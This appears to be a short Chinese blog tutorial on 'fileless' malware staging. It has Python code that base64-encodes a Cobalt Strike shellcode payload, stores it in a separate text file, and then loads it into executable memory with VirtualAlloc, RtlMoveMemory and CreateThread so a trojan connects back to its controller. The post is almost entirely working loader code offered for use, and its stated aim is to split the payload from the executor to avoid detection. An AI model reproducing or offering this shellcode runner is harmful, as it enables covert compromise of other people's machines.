无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
醒醒11114 小时前
从微信小程序到全端:一个安全扫描器的演进之路(v0.5.0 → v0.6.0)
前端·安全
萧瑟余晖15 小时前
Spring Security综合实战与安全加固详解
java·安全·spring
广东帝工15 小时前
如何保障智慧航道的安全
安全
其实防守也摸鱼15 小时前
Linux文本处理命令理论学习
linux·服务器·前端·数据库·sql·学习·安全
狂师16 小时前
2026年安全测试工具大全,15款主流工具一次看懂
安全·测试
qq_4431324116 小时前
运营商网络安全监测项目厂商选择要点与建设思路
安全·web安全
是真的小外套16 小时前
第18章:网络安全测评技术与标准
安全·web安全
weixin_4462608516 小时前
LLM‑SafeOrbit:面向工具调用智能体的安全轨道约束防护框架
安全
一条泥憨鱼16 小时前
AI Agent 安全实践:从 MCP 工具调用到 Java 权限校验
java·人工智能·安全
流烟默18 小时前
A2A 与 MCP 双协议网关设计指南
安全·agent·mcp·a2a